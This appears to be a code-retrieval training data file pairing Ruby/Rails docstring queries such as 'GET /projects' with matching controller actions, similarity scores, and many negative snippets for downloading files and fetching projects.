"def ftp_download(target,\n url_to_download,\n count,\n total,\n ftp_server,\n ftp_dir,\n destination_dir)\n Log.log_debug(' Into download (target=' + target +\n ') url_to_download=' + url_to_download +\n ' count=' + count.to_s +\n ' total=' + total.to_s +\n ' ftp_server=' + ftp_server +\n ' ftp_dir=' + ftp_dir +\n ' destination_dir=' + destination_dir)\n returned_downloaded_filenames = {}\n #\n Net::FTP.open(ftp_server) do |ftp|\n ftp.login\n ftp.read_timeout = 300\n ftp.chdir(ftp_dir)\n files_on_ftp_server = ftp.nlst('*.epkg.Z')\n subcount = 0\n #\n files_on_ftp_server.each do |file_on_ftp_server|\n fix_to_download = ::File.join(url_to_download,\n ::File.basename(file_on_ftp_server))\n #\n begin\n # download file\n local_path_of_file_to_download =\n ::File.join(destination_dir,\n ::File.basename(file_on_ftp_server))\n Log.log_debug(' Consider downloading ' +\n fix_to_download +\n ' into ' +\n local_path_of_file_to_download +\n \" : #{count}.#{subcount}/#{total} fixes.\")\n #\n if !::File.exist?(local_path_of_file_to_download)\n Log.log_debug(' downloading ' + fix_to_download +\n 'into ' +\n local_path_of_file_to_download +\n \" : #{count}.#{subcount}/#{total} fixes.\")\n #\n ftp.getbinaryfile(::File.basename(file_on_ftp_server),\n local_path_of_file_to_download)\n b_download = 1\n else\n Log.log_debug(' not downloading ' +\n fix_to_download +\n 'into ' +\n local_path_of_file_to_download +\n \" : #{count}.#{subcount}/#{total} fixes.\")\n b_download = 0\n end\n #\n subcount += 1\n #\n returned_downloaded_filenames[::File.basename(local_path_of_file_to_download)] = b_download\n rescue Errno::ENOSPC => e\n Log.log_err('Automatically increasing file system when ftp_downloading as\\\n Exception e=' + e.to_s)\n Flrtvc.increase_filesystem(destination_dir)\n return ftp_download(target,\n url_to_download,\n count,\n total,\n ftp_server,\n ftp_dir,\n destination_dir)\n rescue StandardError => e\n Log.log_err('Exception e=' + e.to_s)\n # Log.log_warning(\"Propagating exception of type '#{e.class}' when ftp_downloading!\")\n returned_downloaded_filenames[::File.basename(local_path_of_file_to_download)] = -1\n end\n end\n end\n Log.log_debug('returned_downloaded_filenames=' + returned_downloaded_filenames.to_s)\n returned_downloaded_filenames\n end",
"def download\n open(download_url, \"rb\")\n end",
"def download_and_extract(filename, extractables)\n downloader = self.download(filename.to_s)\n downloaded_file = downloader.download_to\n self.extract(downloaded_file, extractables)\n end",
"def down_image(src, dest)\n\turl = URI::parse(src)\n\treq = Net::HTTP::Get.new(url.path)\n\tNet::HTTP.start(url.host, url.port) { |http|\n\t\tresp = http.request( req )\n\t\tcreate_file(resp, dest)\t\t\t\n\t}\nend",
"def download(url)\n base.get(url, @file_path)\n end",
"def download\n if !@local_target.nil? && !@remote_target.nil?\n if @verbose\n system \"#{ @dbu } download #{ @remote_target } #{ @local_target }\"\n else\n exec = `#{ @dbu } download #{ @remote_target } #{ @local_target }`\n end\n else\n error_msg = 'Local and remote targets cannot be nil'\n @logger.error(error_msg) if @logger\n fail StandardError, error_msg\n end\n end",
"def cp(from_location, to_location)\n @client.file_copy(from_location, to_location)\n rescue\n puts $! if @@verbose\n nil\n end",
"def move_file\n source_file = Item.new(Path.new(params[:source_file]))\n dest_file = Item.new(Path.new(params[:dest_file]))\n\n response = {}\n if source_file.path.to_s == dest_file.path.to_s\n response[:msg] = \"Same file\"\n render json: response, status: 200\n return\n end\n\n response[:source_file] = source_file\n response[:dest_file] = dest_file\n if source_file.move_to(dest_file)\n response[:msg] = \"Success\"\n render json: response, status: 200\n else\n response[:msg] = \"Fail\"\n render json: response, status: 402\n end\n end",
"def download_file(remote_file_name)\n FileUtils.mkdir_p(local_download_folder)\n local_filename = File.join(local_download_folder, File.basename(remote_file_name))\n local_file = File.open(local_filename, 'w')\n with_sftp_session do |sftp_session|\n sftp_session.download!(remote_file_name, local_file.path)\n check_freshness!(sftp_session, remote_file_name)\n end\n local_file\n end",
"def copy_from_github(filename, destination: filename)\n source = \"https://raw.githubusercontent.com/chimney-rock/rails-api-template/master/#{filename}\"\n remove_file(destination) if File.exists?(destination)\n get(source, destination)\nrescue OpenURI::HTTPError\n puts \"ERROR: Unable to obtain file `#{source}`\"\nend",
"def ftp_copy(ftp, local_file, remote_file)\n in_ftp_dir(ftp, File.dirname(remote_file)) do |_ftp|\n basename = File.basename(remote_file)\n _ftp.putbinaryfile(local_file, \"#{basename}.in_progress\")\n _ftp.rename(\"#{basename}.in_progress\", basename)\n end\n end",
"def download(uri, target)\n @logger.debug \"Downloading file to #{target}\"\n rich_uri = URI(uri)\n if File.exist?(uri)\n FileUtils.cp uri, target\n else\n proxy(rich_uri).start(rich_uri.host, rich_uri.port, use_ssl: secure?(rich_uri)) do |http|\n request = Net::HTTP::Get.new(rich_uri.request_uri)\n http.request request do |response|\n File.open(target, File::CREAT | File::WRONLY) do |file|\n response.read_body do |chunk|\n file.write(chunk)\n end\n end\n end\n end\n end\n rescue => e\n @logger.error \"Unable to download from #{uri}\"\n puts e.backtrace\n end",
"def download!\n\t\traise_if_error C.glyr_opt_download(to_native, true)\n\tend"
] |
[
"0.664336",
"0.65572953",
"0.6548299",
"0.64787436",
"0.646987",
"0.63807416",
"0.63784015",
"0.63293827",
"0.6324968",
"0.63138986",
"0.62876976",
"0.62316144",
"0.6208024",
"0.61742264",
"0.61642087",
"0.6158972",
"0.6158867",
"0.6157813",
"0.61549294",
"0.61214465",
"0.61188585",
"0.6107392",
"0.61021096",
"0.60942835",
"0.60919565",
"0.6089567",
"0.6086229",
"0.60844535",
"0.60274434",
"0.60104394",
"0.5999414",
"0.5999268",
"0.59676105",
"0.5915551",
"0.59108126",
"0.5910247",
"0.5891922",
"0.588286",
"0.5869801",
"0.5863659",
"0.5863659",
"0.5847606",
"0.58162457",
"0.5815206",
"0.58134025",
"0.58036846",
"0.57853645",
"0.5784305",
"0.57837",
"0.5769809",
"0.57627344",
"0.5727388",
"0.5726301",
"0.5710561",
"0.570548",
"0.570548",
"0.5698427",
"0.56938124",
"0.56744564",
"0.5661358",
"0.56472516",
"0.5641167",
"0.56388175",
"0.5626725",
"0.56211925",
"0.5617674",
"0.56114715",
"0.5600791",
"0.55998236",
"0.5596385",
"0.5594744",
"0.5594744",
"0.5590772",
"0.5585527",
"0.55839366",
"0.55838346",
"0.5582541",
"0.55819964",
"0.5581427",
"0.5578818",
"0.5576104",
"0.5573312",
"0.5571724",
"0.557142",
"0.55711097",
"0.55699116",
"0.5569592",
"0.5564795",
"0.5560355",
"0.55465007",
"0.55432755",
"0.5540745",
"0.55327696",
"0.5524354",
"0.55101657",
"0.5502564",
"0.54872024",
"0.5481498",
"0.5480811",
"0.547846"
] |
0.7652758
|
0
|
GET /projects GET /projects.json
|
def index
@projects = current_user.projects
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def listprojects\n get('listprojects.json')['projects']\n end",
"def list\n get 'projects'\n end",
"def projects\n request(method: 'getAllProjects')\n end",
"def projects\n resource 'projects'\n end",
"def projects(params = {})\n make_get_request('/account/projects', params)\n end",
"def projects\n Sifter.\n get(\"/api/projects\").\n parsed_response[\"projects\"].\n map { |p| Sifter::Project.new(p) }\n end",
"def index\n @projects = Project.all\n render json: @projects\n end",
"def index\n # @projects = @current_user.projects\n @projects = Project.all\n json_response(@projects)\n end",
"def index\n @projects = Project.all\n render json: @projects, status: :ok\n end",
"def get_projects\n me = request('/services/v5/me')\n me['projects']\n end",
"def index\n @projects = current_user.projects\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def get\n CircleCi.request(conf, '/projects').get\n end",
"def projects\n return forbidden unless current_account # already returns a 401 if credentials aren't supplied\n opts = { :include_document_ids => params[:include_document_ids] != 'false' }\n @response = {'projects' => Project.accessible(current_account).map {|p| p.canonical(opts) } }\n render_cross_origin_json\n end",
"def projects\n records \"project\", \"/project/list\"\n end",
"def index\n @projects = current_user.projects.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n render json: @projects, layout: false\n end",
"def projects(params = {})\n fetch_all('projects', 'projects', params)\n end",
"def index\n @projects = Project.all_for_user(current_user.id)\n render json: @projects.to_json(include: :project_detail), status: 200\n end",
"def index\n @projects = Project.visible\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @user = User.find_by(id: params[:user_id])\n @project = @user.projects\n if @project \n render :json => @project\n else\n render :json => 422\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @projects }\n end\n end",
"def all_projects()\n @endpoint = \"/projects.json?limit=100\"\n setup_get\n res = @http.request(@req)\n return JSON.load(res.body)[\"projects\"].sort_by { |proj| proj[\"name\"] }\n end",
"def index\n \n @workspaces = current_user.workspaces\n # debugger\n @projects = Project.where(:workspace_id => @workspace)\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def projects(options = {})\n get(\"projects\", options).projects\n end",
"def list_projects\n handle_action_exceptions(__method__) do\n cmd_line = ['listprojects']\n cmd_line << 'json' if @json\n\n handle_return(@toolshck_ether.cmd(cmd_line.join(' ')))\n end\n end",
"def index\n @projects = Project.includes(:user).all\n respond_with(@projects) do |format|\n format.json { render :json => {:list => @projects.as_json, :current_user => current_user.as_json} }\n format.html\n end\n end",
"def projects(req_params = {})\n name = 'Projects'\n params = { req: req_params }\n\n data = endpoint(name: name, params: params).do_get\n\n collection name, data\n end",
"def index \n\n @projects = Project.all\n respond_to do |format|\n format.html {render :template => \"projects/index\"}\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.with_permissions_to(:read)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def projects\n @projects ||= Harvest::API::Projects.new(credentials)\n end",
"def show\n @project = @client.projects.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def index\n @projects = Project.where user: current_user\n render json: @projects, each_serializer: Projects::IndexSerializer\n end",
"def index\n @projects = Project.order_by_company_and_project.paginate(page: params[:page] || 1, per_page: helpers.pager_per_page)\n respond_to do |format|\n message = @projects.present? ? \"\" : \"There are no projects available at this time\"\n format.json do\n status = @projects.present? ? :ok : :not_found\n render json: { response: @projects, status: status, message: message }\n end\n format.html do\n # Only authorize html format, json is okay because we use it as\n # an api.\n authorize(:project)\n flash[:alert] = message unless message.blank?\n @projects\n end\n end\n end",
"def index\n if signed_in?\n @projects = current_user.projects\n respond_to do |format|\n format.html { render 'projects/index' }\n format.json { render template: 'projects/index.json.jbuilder' }\n end\n else\n redirect_to :projects\n end\n end",
"def get_projects_of_user\n respond_to do |format|\n format.json {\n #param = params[:payload]\n #@user = User.find_by_id(param[:id])\n @projects = Project.where(:user_id => @current_user.id)\n if @projects\n render :json => @projects\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def get_projects_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ProjectsApi.get_projects ...'\n end\n # resource path\n local_var_path = '/projects'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['Token']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Projects')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProjectsApi#get_projects\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def show_all_projects\r\n json = GoodData.get GoodData.profile.projects\r\n puts \"You have this project available:\"\r\n json[\"projects\"].map do |project|\r\n pid = project[\"project\"][\"links\"][\"roles\"].to_s\r\n puts \"Project name: #{project[\"project\"][\"meta\"][\"title\"].bright} Project PID: #{pid.match(\"[^\\/]{32}\").to_s.bright}\"\r\n end\r\n end",
"def init_projects\n @projects = []\n\n response = @conn.get do |req|\n req.url \"/api/v1/projects\"\n req.headers = rest_headers\n end\n\n @projects = json(response.body)[:projects]\n end",
"def projects\n @projects ||= begin\n http = Net::HTTP.new(API_HOST, API_PORT)\n http.use_ssl = true\n http.ca_file = (Twigg.root + 'files' + 'github.pem').to_s\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n uri = ORG_REPOS_ENDPOINT % Config.github.organization\n headers = { 'Authorization' => \"token #{Config.github.token}\" }\n\n [].tap do |names|\n begin # loop: page through project list\n request = Net::HTTP::Get.new(uri, headers)\n response = http.request(request)\n raise \"Bad response #{response.inspect}\" unless response.is_a?(Net::HTTPOK)\n names.concat JSON[response.body].map { |repo| repo['name'] }\n uri = parse_link(response['Link'])\n end until uri.nil?\n end\n end\n end",
"def projects\n @projects = Project.order(created_at: :desc).page(@page).per(10)\n respond_to do |format|\n format.html\n format.js { render :projects}\n end\n end",
"def list_project(optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'GET'\n\t\targs[:pattern] = '/projects'\n\t\targs[:query]['Action'] = 'ListProject'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tif optional.key? :page\n\t\t\targs[:query]['Page'] = optional[:page]\n\t\tend\n\t\tif optional.key? :page_size\n\t\t\targs[:query]['PageSize'] = optional[:page_size]\n\t\tend\n\t\tif optional.key? :project_owner\n\t\t\targs[:query]['ProjectOwner'] = optional[:project_owner]\n\t\tend\n\t\tself.run(args)\n\tend",
"def project(project_id, options={})\n response_body = nil\n begin\n response = connection.get do |req|\n req.url \"/api/v1/projects/#{project_id}\", options\n end\n response_body = response.body\n rescue MultiJson::DecodeError => e\n #p 'Unable to parse JSON.'\n end\n \n response_body\n end",
"def index\n\t\tif present_user.role? 'admin'\n\t\t\t@projects = Project.all\n\t\telse\n\t\t\t@projects = present_user.projects\n\t\tend\n\t\tmake_breadcrumbs\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @projects }\n\t\tend\n\tend",
"def show\n @projects = find_projects\n end",
"def index\n projects = current_user.admin_projects.paginate(:page => params[:page])\n render json: projects\n end",
"def list\r\n @projects = Project.where(user:current_user).order(created_at: :desc).page(params[:page])\r\n respond_with(@projects)\r\n end",
"def index\n @user = User.find_by_id(session[:userid])\n @projects = current_user_projects\n respond_to do |format|\n format.html # index.html.erb\n format.json\n end\n end",
"def index\n @user = get_user\n @projects = Project.all\n # render :inline => @projects.to_json\n end",
"def project\n request :project\n end",
"def show\n\n render json: Project.all\n\n end",
"def listProjects \n uri = URI(RUNDECKSERVER + ':' + RUNDECKPORT + '/api/1/projects')\n http = Net::HTTP.new(uri.host, uri.port)\n headers = {\n 'Content-Type'=> 'application/json',\n 'X-RunDeck-Auth-Token'=> API_KEY \n}\n r = http.get(uri.path, headers)\n return r.body.force_encoding(\"UTF-8\")\n\nend",
"def available_projects_list\n uri = \"#{@api_url}?access_token=#{@access_token}\"\n get uri\n end",
"def index\n @projects = current_user.active_projects.includes(:project_errors)\n @project_invitations = current_user.user_projects.pending\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def project(project_id, params = {})\n make_get_request(\"/projects/#{project_id}\", params)\n end",
"def list_projects # :nologin:\n query = create_query(:Project, :all, :by => :title)\n show_selected_projects(query)\n end",
"def index\n @projects = Project.includes(:participants).all\n\n render json: @projects, include: :participants, status: 200\n end",
"def show\n render json: @project\n end",
"def projects\n @projects\n end",
"def index\n @projects = @projects.includes(:latest_iteration).where(:tenant_id => current_user.tenant).order(\"name\").page(params[:page]).per(DEFAULT_ROWS_PER_PAGE)\n\n respond_with @projects\n end",
"def index\n @projects = Service::JIRA.projects\n respond_with(@projects) do |format|\n format.json { render json: @projects.to_a.sort_by(&:name).map(&:attrs).to_json }\n end\n end",
"def projects\n Harvest::Resources::Project\n end",
"def project(project_id, query_params = nil)\n get(\"/projects/#{project_id}\", query_params)\n end",
"def get_projects_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ProjectsApi#get_projects ...\"\n end\n \n # resource path\n path = \"/Projects\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'brief'] = opts[:'brief'] if opts[:'brief']\n query_params[:'skip'] = opts[:'skip'] if opts[:'skip']\n query_params[:'top'] = opts[:'top'] if opts[:'top']\n query_params[:'count_total'] = opts[:'count_total'] if opts[:'count_total']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<APIProject>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProjectsApi#get_projects\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @projects = @namespace.projects.all\n end",
"def projects\n tmp = client.get @json['user']['links']['projects']\n tmp['projects'].map do |project_meta|\n project_uri = project_meta['project']['links']['self']\n project = client.get project_uri\n client.factory.create(GoodData::Project, project)\n end\n end",
"def get_projects_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ProjectApi.get_projects ...'\n end\n # resource path\n local_var_path = '/v1/project'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'name'] = opts[:'name'] if !opts[:'name'].nil?\n query_params[:'excludeInactive'] = opts[:'exclude_inactive'] if !opts[:'exclude_inactive'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Array<Project>' \n\n # auth_names\n auth_names = opts[:auth_names] || ['X-Api-Key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProjectApi#get_projects\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n\t\t@projects = Project.all\n\tend",
"def index\n #@projects = []\n if current_user\n #@projects = current_user.projects.where(\"memberships.status >= ?\", 1)\n end\n\n if params[:id]\n @project = Project.find(params[:id])\n authorize! :read, @project\n else\n @project = @projects.first\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.js { render :action => 'show'}\n format.json { render json: @projects }\n end\n end",
"def index_participating\n projects = current_user.projects.paginate(:page => params[:page])\n render json: projects\n end",
"def list_project(optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'GET'\n\t\targs[:query]['Action'] = 'ListProject'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tif optional.key? :page\n\t\t\targs[:query]['Page'] = optional[:page]\n\t\tend\n\t\tif optional.key? :page_size\n\t\t\targs[:query]['PageSize'] = optional[:page_size]\n\t\tend\n\t\tif optional.key? :project_owner\n\t\t\targs[:query]['ProjectOwner'] = optional[:project_owner]\n\t\tend\n\t\tself.run(args)\n\tend",
"def project\n return forbidden unless current_account and params[:id] and (request.format.json? || request.format.js? || request.format.text?)\n project = Project.accessible(current_account).find(params[:id].to_i)\n return not_found unless project\n opts = { :include_document_ids => params[:include_document_ids] != 'false' }\n @response = {'project' => project.canonical(opts)}\n render_cross_origin_json\n end",
"def show \n project= Project.find(params[:id])\n\n render json: project\n end",
"def list_projects(company_id: )\n url = \"#{@base_url}/vapid/projects?company_id=#{company_id}\"\n HTTParty.get(url, headers: procore_headers(token: @customer_info[:token], company_id: @customer_info[:company_id] )).parsed_response\n end",
"def index\n @projects_people = ProjectsPerson.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects_people }\n end\n end",
"def index\r\n @projects = current_user.projects\r\n end",
"def projects\n PivotalTracker::Project.all\n end",
"def show\n render json: Project.where(id: params.fetch(:id))\n end",
"def get_projects\n @params=task_params\n @client=current_user.clients.find(@params[:client_id])\n counter=0\n @res=[]\n @client.projects.each do |c|\n if c.users.include? current_user\n @res[counter]={\n project_id: c.id, \n name: c.name\n }\n counter+=1\n end\n end\n respond_to do |format|\n format.json {render json: @res.uniq}\n end\n end",
"def show\n @projects = Project.all\n end",
"def projects\n @projects ||= begin\n user = api('user')\n api(\"users/#{user['id']}/projects\").sort_by { |p| p['id'] }\n end\nend",
"def list_projects_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: QcApi.list_projects ...\"\n end\n # resource path\n local_var_path = \"/projects.json\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['api_key']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<Project>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: QcApi#list_projects\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def getProjectID()\n result = RestClient.get GITHUB_API + PROJECTS_PATH, :accept => 'application/vnd.github.inertia-preview+json', :'Authorization' => 'token ' + CONFIG['OAUTH']\n result = JSON.parse(result) \n end",
"def index\n @projects = Project.all\n end",
"def index\n @projects = Project.all\n end",
"def index\n @projects = Project.all\n end"
] |
[
"0.8574897",
"0.8386689",
"0.8355737",
"0.8062607",
"0.80368364",
"0.8002139",
"0.78593457",
"0.7834634",
"0.78324",
"0.7799698",
"0.77792805",
"0.7748103",
"0.77139485",
"0.7700251",
"0.7696023",
"0.7695487",
"0.7695487",
"0.7695487",
"0.7695487",
"0.7695487",
"0.7695487",
"0.7695487",
"0.7695384",
"0.7677249",
"0.7659848",
"0.76413786",
"0.7627596",
"0.76157665",
"0.76007134",
"0.75998086",
"0.7599048",
"0.755127",
"0.75476474",
"0.7504184",
"0.7464399",
"0.7463047",
"0.74520797",
"0.7440121",
"0.74273944",
"0.74115896",
"0.74086154",
"0.7406792",
"0.73953074",
"0.73152006",
"0.72899425",
"0.7288984",
"0.727693",
"0.72592014",
"0.725888",
"0.72443324",
"0.72430474",
"0.7232267",
"0.7224122",
"0.7218089",
"0.7194763",
"0.7187098",
"0.71705997",
"0.7170378",
"0.7167435",
"0.7164896",
"0.71607876",
"0.7140332",
"0.7130536",
"0.7128779",
"0.7127035",
"0.7124004",
"0.7118136",
"0.711526",
"0.7114364",
"0.71083033",
"0.71005213",
"0.7098299",
"0.70919305",
"0.70723647",
"0.70523155",
"0.70496404",
"0.70492387",
"0.7042553",
"0.70393467",
"0.7036608",
"0.7033363",
"0.70277584",
"0.7026879",
"0.7022911",
"0.70143616",
"0.70081574",
"0.70047146",
"0.70036596",
"0.7003546",
"0.7002825",
"0.69961166",
"0.69961166",
"0.69961166"
] |
0.7031996
|
85
|
GET /projects/1 GET /projects/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def list\n get 'projects'\n end",
"def listprojects\n get('listprojects.json')['projects']\n end",
"def show\n @project = @client.projects.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def projects\n resource 'projects'\n end",
"def index\n @projects = Project.all\n render json: @projects, status: :ok\n end",
"def index\n @projects = Project.all\n render json: @projects\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @user = User.find_by(id: params[:user_id])\n @project = @user.projects\n if @project \n render :json => @project\n else\n render :json => 422\n end\n end",
"def projects\n request(method: 'getAllProjects')\n end",
"def project(project_id, params = {})\n make_get_request(\"/projects/#{project_id}\", params)\n end",
"def index\n @projects = Project.visible\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @projects }\n end\n end",
"def show\n render json: Project.where(id: params.fetch(:id))\n end",
"def show \n project= Project.find(params[:id])\n\n render json: project\n end",
"def index\n @projects = Project.all_for_user(current_user.id)\n render json: @projects.to_json(include: :project_detail), status: 200\n end",
"def project(project_id, options={})\n response_body = nil\n begin\n response = connection.get do |req|\n req.url \"/api/v1/projects/#{project_id}\", options\n end\n response_body = response.body\n rescue MultiJson::DecodeError => e\n #p 'Unable to parse JSON.'\n end\n \n response_body\n end",
"def index\n @projects = current_user.projects\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def project(project_id, query_params = nil)\n get(\"/projects/#{project_id}\", query_params)\n end",
"def project(project_id)\n resource \"projects/#{project_id}\"\n end",
"def index\n @projects = Project.all\n render json: @projects, layout: false\n end",
